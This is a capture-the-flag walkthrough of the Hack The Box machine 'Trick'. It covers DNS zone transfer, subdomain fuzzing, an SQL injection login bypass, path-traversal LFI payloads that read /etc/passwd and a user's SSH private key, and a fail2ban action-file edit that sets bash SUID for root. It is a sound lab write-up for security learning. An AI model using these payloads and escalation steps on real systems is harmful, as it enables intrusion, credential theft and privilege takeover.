Hi everyone! This is a Linux machine where the initial access is very CTF-like thus is not to my liking. However, I like the privilege escalation method as it is not very common. The initial access requires us to enumerate DNS such as zone transfer to reveal the subdomain name. There are plenty of rabbit holes. We have to fuzz the subdomain name/sub-string to find out the other subdomain not shown by the DNS server. The vulnerable subdomain website is vulnerable to Local File Inclusion (LFI) which leaks the SSH private key as well as usernames available for initial access. Finally, fail2ban configuration vulnerability is found which allows us to privilege escalation.
1. Nmap enumeration
$ IP=10.10.11.166 $ sudo nmap -sC -sV -p- $IP ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA) | 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA) |_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux) | dns-nsid: |_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Coming Soon - Start Bootstrap Theme Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
2. DNS enumeration
Since DNS is available, we can query it to find out the machine’s domain name. HackTricks have a good cheat sheet for DNS enumeration.
$ nslookup > SERVER 10.10.11.166 Default server: 10.10.11.166 Address: 10.10.11.166#53 > 10.10.11.166 166.11.10.10.in-addr.arpa name = trick.htb.
Since we have the domain, we can attempt to try zone transfer with the domain name set.
$ dig axfr @$IP trick.htb ; <<>> DiG 9.16.15-Debian <<>> axfr @10.10.11.166 trick.htb ; (1 server found) ;; global options: +cmd trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 trick.htb. 604800 IN NS trick.htb. trick.htb. 604800 IN A 127.0.0.1 trick.htb. 604800 IN AAAA ::1 preprod-payroll.trick.htb. 604800 IN CNAME trick.htb. trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
Zone transfer shows a subdomain name. We can now add it to our /etc/hosts file.
$ sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.166 trick.htb preprod-payroll.trick.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
3. Web enumeration

When I search http://preprod-payroll.trick.htb, it automatically redirects me to a login page.

3.1 Login page SQL injection vulnerability (Rabbit hole)
Input the following for both username and password to login.
' or 1=1--
We will be able to log in to the dashboard page.

If we try to do Local File Inclusion (LFI) on the URL with a PHP filter, we are able to leak the web files. However, files like /etc/passwd were not able to be leaked.
http://preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index

We can dump the base64 text into the terminal and decode it but nothing is interesting in any of the files.

3.2 Directory fuzzing (Rabbit hole)
$ sudo apt install ffuf $ sudo apt install seclists $ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .txt,.php,.html -u http://preprod-payroll.trick.htb/FUZZ login.php [Status: 200, Size: 5571, Words: 374, Lines: 177] index.php [Status: 302, Size: 9546, Words: 1453, Lines: 267] ajax.php [Status: 200, Size: 0, Words: 1, Lines: 1] home.php [Status: 200, Size: 486, Words: 180, Lines: 27] assets [Status: 301, Size: 185, Words: 6, Lines: 8] database [Status: 301, Size: 185, Words: 6, Lines: 8] users.php [Status: 200, Size: 2197, Words: 103, Lines: 81] header.php [Status: 200, Size: 2548, Words: 145, Lines: 46] . [Status: 301, Size: 185, Words: 6, Lines: 8] readme.txt [Status: 200, Size: 149, Words: 5, Lines: 2] employee.php [Status: 200, Size: 2717, Words: 74, Lines: 96] navbar.php [Status: 200, Size: 1382, Words: 68, Lines: 24] department.php [Status: 200, Size: 4844, Words: 244, Lines: 179] db_connect.php [Status: 200, Size: 0, Words: 1, Lines: 1] payroll.php [Status: 200, Size: 3142, Words: 86, Lines: 111] position.php [Status: 200, Size: 5549, Words: 260, Lines: 196] topbar.php [Status: 200, Size: 585, Words: 73, Lines: 20] attendance.php [Status: 200, Size: 4688, Words: 152, Lines: 172] site_settings.php [Status: 200, Size: 2273, Words: 153, Lines: 85]
The site_settings.php looks interesting hence I decided to visit it which turned out to be something interesting. However, I tried to upload a PHP web shell or try out LFI/RFI, but nothing worked. The uploaded PHP file or image did not appear in http://trick.htb/assets/img/.

3.3 DNS fuzzing
Since the subdomain name looks interesting as “payroll” can be replaced with another word, we can consider fuzzing it. Firstly, we will need to figure out the non-existence subdomain query’s error response size. Then we fuzz for a subdomain.
$ curl -s -H "Host: nonexistence.trick.htb" http://trick.htb | wc -c 5480 $ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://trick.htb -H "Host: preprod-FUZZ.trick.htb" -fs 5480 ... marketing [Status: 200, Size: 9660, Words: 3007, Lines: 179]
The result showed that there is another subdomain. Remember to add it into your /etc/hosts file.
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.166 trick.htb preprod-payroll.trick.htb preprod-marketing.trick.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

3.4 Local File Inclusion (LFI)
Clicking on the Service tab at the bottom allows me to notice the URL allows us to test for LFI.

Trying LFI to read /etc/passwd file and it works.
http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd

3.5 Obtaining SSH private key
Using LFI, I attempted to search for the SSH private key.
view-source:http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/.ssh/id_rsa

We can download the SSH private key.
$ wget "http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/.ssh/id_rsa" -O id_rsa
3.6 Initial access and user.txt
Since we have the SSH private key, we can SSH into the machine with the key and obtain the flag.
$ chmod 600 id_rsa $ ssh michael@$IP -i ./id_rsa ... michael@trick:~$ ls Desktop Documents Downloads Music Pictures Public Templates user.txt Videos michael@trick:~$ cat user.txt 43******************************
4. Privilege escalation
4.1 Sudo privilege
We can see that the privilege escalation (PE) vector is most like dependent on fail2ban.
michael@trick:~$ sudo -l Matching Defaults entries for michael on trick: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User michael may run the following commands on trick: (root) NOPASSWD: /etc/init.d/fail2ban restart
4.2 Enumerate fail2ban services to misuse
We can use nano to view /etc/fail2ban/jail.conf. At the top few lines in the file, we can see the default number of maximum retries before the ban occurs. Below showed that 6 times is needed for the ban to occur.
# External command that will take an tagged arguments to ignore, e.g. <ip>,
# and return true if the IP is to be ignored. False otherwise.
#
# ignorecommand = /path/to/command <ip>
ignorecommand =
# "bantime" is the number of seconds that a host is banned.
bantime = 10s
# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime = 10s
# "maxretry" is the number of failures before a host get banned.
maxretry = 5
4.3 Automate SSH login fail
Install sshpass so that we can have passwords written in the command line to automate the login process.
$ sudo apt install sshpass
Once installed, we can create a bash script, login_script.sh. Remember to change the IP address for your victim’s machine.
#!/bin/bash
sshpass -p "gg" ssh michael@10.10.11.166
sshpass -p "gg" ssh michael@10.10.11.166
sshpass -p "gg" ssh michael@10.10.11.166
sshpass -p "gg" ssh michael@10.10.11.166
sshpass -p "gg" ssh michael@10.10.11.166
sshpass -p "gg" ssh michael@10.10.11.166
Change the permission of the script.
$ chmod +x login_script.sh
4.4 Fail2ban privilege escalation
When I looked at /etc/fail2ban/action.d/iptables-multiport.conf, Michael’s account does not have permission to write to it. However, it has write-access to the directory, /etc/fail2ban/action.d/. Thus, we can move the file away and make a new copy of the file which is owned by Michael’s account. Do this process fast. Otherwise, the machine as a script to reset the configuration file to prevent spoilers for others.
michael@trick:~$ ls -l /etc/fail2ban/action.d/iptables-multiport.conf -rw-r--r-- 1 root root 1420 Sep 17 08:45 /etc/fail2ban/action.d/iptables-multiport.conf michael@trick:~$ id uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security) michael@trick:~$ find / -group security 2>/dev/null /etc/fail2ban/action.d michael@trick:~$ mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.bak michael@trick:~$ cp /etc/fail2ban/action.d/iptables-multiport.bak /etc/fail2ban/action.d/iptables-multiport.conf michael@trick:~$ ls -l /etc/fail2ban/action.d/iptables-multiport.conf -rw-r--r-- 1 michael michael 1420 Sep 17 08:51 /etc/fail2ban/action.d/iptables-multiport.conf
Edit the /etc/fail2ban/action.d/iptables-multiport.conf file using nano where we will replace actionban and actionunban‘s variables with a command to make bash SUID.
$ nano /etc/fail2ban/action.d/iptables-multiport.conf
# Values: CMD # actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]' # Option: actionban # Notes.: command executed when banning an IP. Take care that the # command is executed with Fail2Ban user rights. # Tags: See jail.conf(5) man page # Values: CMD # #actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype> actionban = chmod +s /bin/bash # Option: actionunban # Notes.: command executed when unbanning an IP. Take care that the # command is executed with Fail2Ban user rights. # Tags: See jail.conf(5) man page # Values: CMD # #actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype> actionunban = chmod +s /bin/bash [Init]
Once the change has been made, we can restart the service.
michael@trick:~$ sudo /etc/init.d/fail2ban restart [ ok ] Restarting fail2ban (via systemctl): fail2ban.service. michael@trick:~$
We can now run our script to fail to log in via SSH 6 times.
$ ./login_script.sh Permission denied, please try again. Permission denied, please try again. Permission denied, please try again. Permission denied, please try again. Permission denied, please try again. Permission denied, please try again.
Once the script finished executing, we can check and ensure the SUID bit for bash is set.
michael@trick:~$ ls -l /bin/bash -rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
4.5 Root shell and root.txt
michael@trick:~$ bash -p bash-5.0# id uid=1001(michael) gid=1001(michael) euid=0(root) egid=0(root) groups=0(root),1001(michael),1002(security) bash-5.0# cd /root bash-5.0# ls f2b.sh fail2ban root.txt set_dns.sh bash-5.0# cat root.txt cd******************************
I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂